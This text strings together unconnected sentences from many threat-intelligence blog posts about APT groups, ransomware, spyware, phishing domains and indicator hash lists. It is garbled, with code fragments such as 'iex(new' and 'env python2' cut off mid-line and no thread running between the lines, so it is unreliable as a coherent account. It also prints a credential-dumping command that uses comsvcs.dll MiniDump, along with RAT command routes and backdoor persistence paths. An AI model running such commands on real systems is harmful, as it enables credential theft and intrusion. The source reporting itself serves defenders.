Lurk’s web-based attacks were the first signs of their campaigns.


New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection


The out1.exe RAT has the following capabilities:  Data encoding Email parsing File and registry copy HTTP/S connection support Native command line Process and file execution


The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.


With Marketplace Vendor Insights, IT leaders can review compliance attestations and double click on more details about ISV security best practices directly from the AWS Marketplace.


The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.


There are three different approaches used to upload the backdoor.


Our daily monitoring of TA505's activities show that the group sends spam from specific IPs; this suspicious attack used different sender IPs.


iex(new


As we see in this distribution, a lot of developers sign different apps with the same certificate.


Below, Figure 5 shows what the call stack looks like when the process crashes.


May 2021:


We received leads from Facebook that supported us in this investigation.


It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload.


Credentials and authentication have become synonymous, with valid credentials allowing access to sensitive resources.


Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques:  Exploit Public-Facing Application [T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell [T1505.003], Exploitation for Privilege Escalation [T1068], Indicator Removal on Host [T1070], Deobfuscate/Decode Files or Information [T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts [T1078], External Remote Services [T1133], Scheduled Task [T1053.005], Bypass User Account Control [T1548.002], Group Policy Modification [T1484.001]  OS Credential Dumping [T1003], Credentials from Password Stores [T1555]  Network Service Scanning [T1046], Process Discovery [T1057], System Location Discovery [T1614], System Information Discovery [T1082]  Remote Services [T1021], SMB/Windows Admin Shares [T1021.002]  Remote Access Software [T1219]  Data Transfer Size Limits [T1030], Exfiltration Over C2 Channel [T1041]  Data Encrypted for Impact [T1486], Service Stop [T1489]  †These capabilities are part of the NGFW security subscriptions service


pipeCommunication.Close(); }


While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.


There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB.


The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.


We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.


In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.


Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.


Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.


of a fake government-related spear-phishing email


Parser::inBytes method


For regular end-user systems and devices, malware and malicious scripts can use these vulnerabilities to access information like usernames, passwords and account information.


In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware.


Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability/exploit with a ransomware family.


It uploads files, which were collected on infected devices, with a periodicity of 3000 seconds.


Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain.


For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.


These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.


as an attempt to deceive the user into thinking that the app is already removed from the device.


MFC socket downloaders


The following section details the functionality of the malware deployed in this campaign.


Table 2: Incident where PLEAD and KIVARS attack the same target    PLEAD Shrouded Crossbow Waterbear Samples found in same machine vmdks.exe  cfbcjtqx.dll tpauto.dll Timeline of infection 3/16/2017 2/23/2017 3/8/2017   Table 3: Incidents where PLEAD, KIVARS, and Waterbear were used on the same target


Spear phishing focuses on the quality of the theme and lure where standard phishing focuses on quantity.


Here’s the text decoded from the application’s source code.


Hacking tools and keyloggers will be used to steal user accounts and passwords to obtain legitimate user credentials within systems.


Delivery architecture


And it has a very specific purpose: to steal customer card details as they are entered into the site during payment.


Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.


The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.


In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.


Used to request device administrator privilege Persistence


Once you're in as a cybercriminal, once you've made headway, once you gained a beachhead or a foothold within that network you're going to do everything you can to expand it because it's going to make you the most amount of money.


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However, this commonality is just the first of many that lead us to believe the team attributed to the Freenki malware is the same team behind Operation Earth Kitsune.2 Leaked assert path and external blog references Sometimes, the malware authors know that releasing symbol information is dangerous from an attribution point of view since it can reveal information about the working environment.


This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.


API hooking to evade detection


The group was reportedly using spear-phishing emails with weaponized attachments to exploit known vulnerabilities.


As the chart below shows, Monero has risen even faster than bitcoin in price in the last two years, with more than a 30,000% gain in U.S. dollars.


The challenge is often finding the right partners to align with their specific requirements.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats delivered by Blackgear even without any engine or pattern update.


PlugX file uses Symantec logo icon.


After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.


The latest development in the ransomware world is CryptoWall 2.0, a new version of this malware family that uses the Tor network for command and control.


The SLUB campaign also exploited and used GNUBoard websites as part of the infrastructure.


Supply chain attacks are quite risky and could result in real-world impacts.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


photos.exe  IMAP RAT


Compression headers are a feature that was added to SMBv3 negotiate context request packets in May 2019.


Carbanak also collects information on accounts, files and directories, group permissions, and registries.


Attack ChainREDBALDKNIGHT’s attacks typically use spear phishing emails as an entry point.


The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised.


All of these cases end up with either the downloading or dropping of files and then the execution of JavaScript code, which is a dropper used to install the main backdoor + stealer.


Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.


Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything.


Ed’s social media: @Ed_E_Cabrera (Twitter), https://www.linkedin.com/in/ed-e-cabrera/ (LinkedIn)


Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures:  Windows SysInternals PsExec has been utilized for both persistence and execution purposes.


VirusTotal scan result


The company has not released further information on the vulnerability.


The vulnerability, assigned CVE-2014-6271 by Mitre, was originally discovered by Stephane Chazelas, a Unix and Linux network and telecom administrator and IT manager at UK robotics company SeeByte, Ltd.


The installer drops three files into the Apple/Update directory Figure 5.


Network


Microsoft has already credited our team with 14 previous IE vulnerabilities in 2014, bringing our total for the year up to 35.


However, the URL is unused and was likely left inside the loader as a mistake.


The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.


This is similar to the domain hostoperationsystems[.]com, which was previously mentioned in the Talos report.


The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.


Indicators of Compromise (IOCs) Files


Cassandra Protector: CyaX


Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.


The code below obtains QQ numbers that are currently logged on the machine, mentioned here.


Update systems regularly.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


Financially motivated and criminal actors are also using current events as a means for targeting users.


Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.


Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.


The main functions of the backdoor infoClient fills up the variables in HandlePP class.


Trojan.W97M.CONFUCIUS.B  654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312  Trojan.W97M.CONFUCIUS.C  712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f  Trojan.Win32.DLOADR.TIOIBELQ


And this is where the second point comes to bear.


APP is designed specifically for the highest-risk accounts.


But, in the case of mutex analysis, the useful information pretty well slapped us in the face.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


We have posted the advisory on our product vulnerability page.


Once granted, the app shows a full screen window that says that it requires further setup steps.


Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.


When the user visits the website, the code runs on their system and “mines” on behalf of others – either the website or someone else.


Cortex XSOAR can automatically and instantly coordinate with network security, malware analysis and threat management solutions to ensure customers remain protected.


After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.


As a reminder, “Don’t Panic,” is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson.  You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.


revealed some interesting things in that year: they used "com.example.appcode.appcode" as the APK package name and used a possible public certificate “74bd7b456d9e651fc84446f65041bef1207c408d,” which possibly meant the sample was used for testing, and they just started to use it for their campaigns during that year.


The app’s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store.


Managed detection and response also helps make better sense of system- and network-level activities that an organization may not have the time or resources to do.


This particular linux backdoor will install itself to "/usr/bin/btdaemon" and create a startup service at "/etc/init.d/bluetoothdaemon" with symbolic links so that it will run in any startup mode.  The file contents are a simple bash script that runs the original btdaemon file.


MAC address  Figure 14.


We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.


When a user opens the app, it will always report that it has located two or three threats on the device (Figure 2), including the following:  Figure 2


The actors seem to be targeting organizations in the transportation industry and government agencies related to transport.


Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.


A log file is written containing a count of the emails that were downloaded.


Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM (shown as Figure 15).      Figure 14.


To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.


Tags  Exploits & Vulnerabilities | Research | Cyber Threats | ICS OT | APT & Targeted Attacks | Compliance & Risks | IoT | Articles, News, Reports


In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi.


User Activity Checking Once Chopper successfully infects a system, the malicious actor will issue a query user (quser) command in an attempt to identify the primary user or those who are currently logged in as users in the system.


Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.


StartsWith("Help us protect you: Security advice from Google")


That makes it difficult to match code similarities, and that is why many of the indicators of code sharing are sparse across different samples.


An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.


Note the screenshot in Figure 6: The same web shell with the same “only_pcd” keyword is mentioned in this Chinese blog post.


Modules initialization


Executing the anti-rootkit driver in the system


We received leads from Facebook that supported us in this investigation.


However, in one of its recent campaigns, we’ve discovered a piece of Waterbear payload with a brand-new purpose: hiding its network behaviors from a specific security product by API hooking techniques.


Code snippet from Extra DEX downloaded by Camero


Recently, the Winnti group, a threat actor with a past of traditional cybercrime -particularly with financial fraud, has been seen abusing GitHub by turning it into a conduit for the command and control (C&C) communications of their seemingly new backdoor (detected by Trend Micro as BKDR64_WINNTI.ONM).


Steganography isn’t just used to deliver encrypted payloads; it can also be used to transfer information to a C&C server.


Exploit code for this remote code execution vulnerability has been made publicly available.


Crimson RAT and ObliqueRat spear-phishing email attachments that feature the same download domain     CapraRAT, One of Earth Karkaddan’s custom Android RAT


The increase in efficiency simplifies investigations, optimizes SecOps productivity, and accelerates remediation to stop threat actors in their tracks before they have a chance to cause lasting damage.


This post is also available in:      日本語 (Japanese)  In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball.


The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.


In fact, we’ve already demonstrated our value to the organization in research last year, which uncovered design flaws and vulnerabilities in legacy programming languages used by some of its products.


Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.  When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.


“Toast” is typically used to display messages and notifications over other apps.


In a data breach notice to affected users, events application Peatix said it learned that user account data had been improperly accessed.


However, we were not able to find any of these modules in the wild.


The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.  While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.


For many of those in the more mature sectors who struggle less with resources, such as financial and government, this ideal state has been achieved by buying a large number of feature products for each layer.


When we checked Mirrorthief’s network infrastructure, we found that it did not have any overlap with any known cybercrime groups.


Updated March 4, 2022, at 6:15 a.m. PT.


Files with the following hashes were used in the second series of attacks:  fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK         Tags  APT & Targeted Attacks | Malware | Research | Articles, News, Reports


Doing so allows the threat actor to understand the environment and design attack scripts appropriate to the victim’s environment.       Figure 3.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


Indicators of Compromise (IoCs) Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:  1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e  BKDR_TCLT.ZDFB:  01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69  BKDR64_TCLT.ZTFB:  6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334  TROJ_SCLT.ZTFB:  49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245  TROJ_TCDROP.ZTFB:  b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b  TROJ_TCLT.ZDFB:  02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456 fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6  URLs related to C&C communication:  qpoe[.]com wikaba[.]com tibetnews[.]today dns-stuff[.]com 2waky[.]com         Tags  Network | APT & Targeted Attacks | Research


Also, all modern operating systems allow you to make accounts “regular user” accounts rather than admin accounts.


When the target user attempts to log in, credentials are recorded through a simple PHP script.


We have yet to conclude this attack's exact purpose.


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


It was last updated on July 29, 2022.


The Sphinx campaign operators cloaked the malware with icons of legitimate applications to dupe recipients into clicking them.


NSO Group continues to pose risks across the Internet ecosystem.


They have a malicious application that provides services for religion, as well as popular sports in the region.


Figure 6. id-server connection


Where the threat actor keeps alluding to his “Ghost” theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19).


The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:  We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware.


The parameters are then initialized.


In particular, security vendors are bringing automation to bear to counter the attackers’ automation.


For a moment, put yourself in the shoes of a cyber criminal.


Using multi-factor authentication to access all accounts can minimize this risk tremendously.


This DLL name is hardcoded inside "mtxoci.dll" which is loaded by the MSDTC service during boot-up.


How is OAuth abused?


The exploit targeted iOS versions 12.4 through 13.7.


The exploit was patched on February 14, 2022.


We received leads from Graphika that supported us in this investigation.


During the development stage, Android-created and open source components are subject to vigorous security reviews


In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.


Hancitor is a malware that focuses getting other malware onto the victim’s system.


There are also times when developers intentionally remove these associations and plant misleading information to avoid attribution.


Mutex names provide a window into the entire development process and timeline for malware.


The first answer to this, as we’ve outlined in our report, is that ransomware is a lucrative cybercriminal business model.


In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.


The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.


After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur.


As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.


November 2020:


Through analyzing the app’s code we discovered a multiple indications that this program was not a legitimate Antivirus program, but actually Scareware.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


Unlike other cybersecurity threats we’re used to bracing for around the holiday season, unauthorized coin mining attacks can affect shoppers who are up-to-date with security patches and even some running some security protections.


Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.


During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.


No longer do groups need to have the technical expertise, now they just need resources.


Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.


As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.


Feature  Name  Repository  Driver memory injection  Blackbone  https://github.com/DarthTon/Blackbone  NDIS network filtering driver  WFP Sample  "WDK\Windows Filtering Platform Stream Edit Sample/C++/sys/stream_callout.c”


This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.


If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.


Execution


Their server was illegally accessed and personal information, which included names, credit card numbers, card expiration dates, and credit card security codes, were potentially leaked.


Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems.  Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.


Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks.


After obtaining data from the modules, the core component starts the encryption routines that will cipher the data before sending it to the C&C server.


While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.


For MSPs working with Trend Micro, we have a very positive news.


The biggest risk that’s been popularly discussed is voice command hijacking by outside sources.


In a worst-case attack scenario, this vulnerability could be used to render the phone unusable (i.e., a “brick”) or to install any kind of malware including (but not limited to) ransomware or information stealers.


This could likely be an effort to bypass API hooking for HTTP.


The purpose of the .VBS script is to execute the PowerShell script.


That number is small, but it’s important to note that it doesn’t matter what country or network a Monero miner is part of: computers in Australia and Poland mine at the same speed.


While “car hacking” is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Figure 7.


Fake Office document tries to get user to enable malicious macros.


Vigenère cipher in ServHelper and the Delphi code in stack overflow


On the left, the weaponized document.


We received leads from Graphika that supported us in this investigation.


The group would also dump memory from the specified process by using comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 764 C:\Windows\TEMP\dump.bin full Indicator Removal  To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine.


We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.


The Gh0st RAT samples related to this campaign are obfuscated executable files, which decrypt the main payload in memory and execute its main export function named “Shellex.”      Figure


The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.


We currently do not know the initial arrival vector of this threat into a potential victim’s network.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


Was AnubisSpy actively distributed?


env python2


We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These attacks appear to have copied the messaging template observed in attacks exploiting the OctoberCMS vulnerability a month earlier on Jan.14, while adding a .onion web address and a message in red font that translates to, “Do you need proof, see the link at the end.”


LockBit 2.0 has shown a decrease in dwell time in FY 2022.


General email best practices:  If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.


Open source malware like Sorano and AdamantiumThief were also observed.


We acquired a variant of the Cyclops Blink malware family that targets Asus routers.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


We talked with some sellers through AliWangWang, an instant message (IM) system developed by Taobao for online trading.


Among other targets, this spyware was used to compromise journalists and opposition politicians.


It is important to note that previous analysis of suspected APT37 activities from different security vendors date from 2016, and the captured samples for the Operation Earth Kitsune have been developed recently.


ATT&CK “…is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.”


Table 1. Similar malicious samples found on VirusTotal     The sample 75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  serves as the key attribution factor and is the main link to the StrongPity threat actor, because it communicates with a C&C server that was previously identified by several research teams as infrastructure used by the group.  Tools, tactics, and procedures on Windows


But as of June 4, 2014, only 13.6% of worldwide users had installed Android 4.4 or above.


Previous research into the group’s activities attributed it to other threat actors such as the Winnti group due to the use of malware such as Winnti, but despite some similarities, we consider Earth Lusca a separate threat actor (we do have evidence, however, that the group is part of the “Winnti cluster,” which is comprised of different groups with the same origin country and share aspects of their TTPs).


They moved on to Ukrainian government institutions after the revolution.


Again, the response is expected to be "OK".


We received leads from Graphika that supported us in this investigation.


For example, we detected two domains distributing the same malicious binary where one domain was impersonating a popular, widely used video conferencing application and the other a widely used internet browser.


All three exploits share the same exploit techniques:  All the Flash files used across the exploits have similar structures and even the same variable names.


My name's Ed Cabrera.


Routine


Jon:


The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.


And that means the money in your accounts is at risk.


We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.


Destination ports: 636, 994, and 995


These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.


For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.


It will enable the program participants to engage with various cyber and national experts across the US government.


DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks.


Indicators of Compromise (IoCs):  adfs[.]senate[.]group adfs-senate[.]email adfs-senate[.]services adfs.senate[.]qov[.]info chmail.ir[.]udelivered[.]tk webmail-ibsf[.]org fil-luge[.]com biathlovvorld[.]com mail-ibu[.]eu fisski[.]ca iihf[.]eu         Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Phishing | Network


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.


The data is then exfiltrated via email to a compromised email account.


Backdoor.Win64.BIOPASS.A  0f18694b400e14eb995003541f16f75a5afc2478cc415a6295d171ba93565a82  flash_installer.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  11b785e77cbfa2d3849575cdfabd85d41bae3f2e0d33a77e7e2c46a45732d6e4  System.exe


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.


The oldest known sample is from 2020, and the tool is still under active development.


The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code.


This number was in the 200s when we obtained the exploit chain.


Tags  Malware | APT & Targeted Attacks | Endpoints | Research |


Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.


The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.


While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


The tools used varied from network scanners to account harvesters.


The JavaScript payload used to replace the original script of compromised websites     The delivered script is almost the same as the malicious script previously discussed in the section on the watering hole attack.


iOS Exploits


The “chatty” nature of this discovery protocol and the fact that it expects a reply from each contacted participant, paired with easy-to-spoof transport protocols such as the User Datagram Protocol (UDP), make RTPS vulnerable to network reflection and amplification.


Figure 15. Decompiled code from CapraRAT connecting to its C&C server      Figure 16. CapraRAT config showing its C&C server and port information       Figure 17.


I thank the Committee for this attention on this critical issue.


We also found some debug code left in CallerSpy.


The difference between Trickbot and PlugX is that Trickbot is much easier to detect.


the following IP address are known Dyre C2 servers.


itxdrx(Net Manager): A component responsible for handling HTTP protocol communication.


The attacker holds the key necessary to decrypt the files unless the victim agrees to pay a $500 ransom.  Unlike previous versions of CryptoWall, 2.0 communicates with its command and control (C2) server through the Tor anonymization network.


If these domains are confiscated or otherwise shut down, CryptoWall instructs the user to download the Tor Browser and access a website (paytordmbdekmizq.onion) that is only accessible over the Tor network.  Unlikely some of it’s more flexible competition, CryptoWall only accepts ransom in the form of BitCoin.


Palo Alto Networks Cortex XDR customers may leverage the following XQL queries, written by the Cortex Managed Threat Hunting service experts, to hunt their datasets for indicators related to WhisperGate malware:  The Unit 42 Threat Intelligence team remains vigilant in monitoring this evolving situation, is actively hunting for known indicators from recent events and is ready to put protections in place to thwart attacks against our customers.


If the link was not active, the user was redirected directly to a legitimate website.


Svchost injection is not new — in fact, Trickbot and other malware variants use this technique.


We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.


Because these attacks happen due to code on the website, that code is either there with the site owner’s knowledge and permission or not.


After the download occurs, the malware immediately corrects the first two bytes with the ‘MZ’ characters prior to writing the file to disk.


The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs.


In one of the endpoints, it will drop and execute Trojan.Win32.PRIVESC.A.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c11906210465045a54a5de1053ce0624308a8c7b342bb707a24e534ca662dc89  test-flash.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  c3fa69e15a63b151f8d1dc3018284e153ad2eb672d54555eaeaac79396b64e3b  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5  flashplayerpp_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c8542bffc7a2074b8d84c4de5f18e3c8ced30b1f6edc13047ce99794b388285c  flash2.exe  BIOPASS RAT Loader  Backdoor.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


These three files work together using a common technique call DLL Side-Loading or DLL Hijacking.


Figure 4.


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.


Windows Defender is disabled, as well as the ability to send feedback/malware samples to Microsoft.


Now let’s explore these vulnerabilities.


Palo Alto Networks currently tracks 90 different remote-access applications in Applipedia.


Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department.


We obtained oRAT samples that register these routes:   GET /agent/info GET /agent/ping POST /agent/upload GET /agent/download GET /agent/screenshot GET /agent/zip GET /agent/unzip GET /agent/kill-self GET /agent/portscan GET /agent/proxy GET /agent/ssh GET /agent/net  PuppetDownloaders (C++ downloaders)


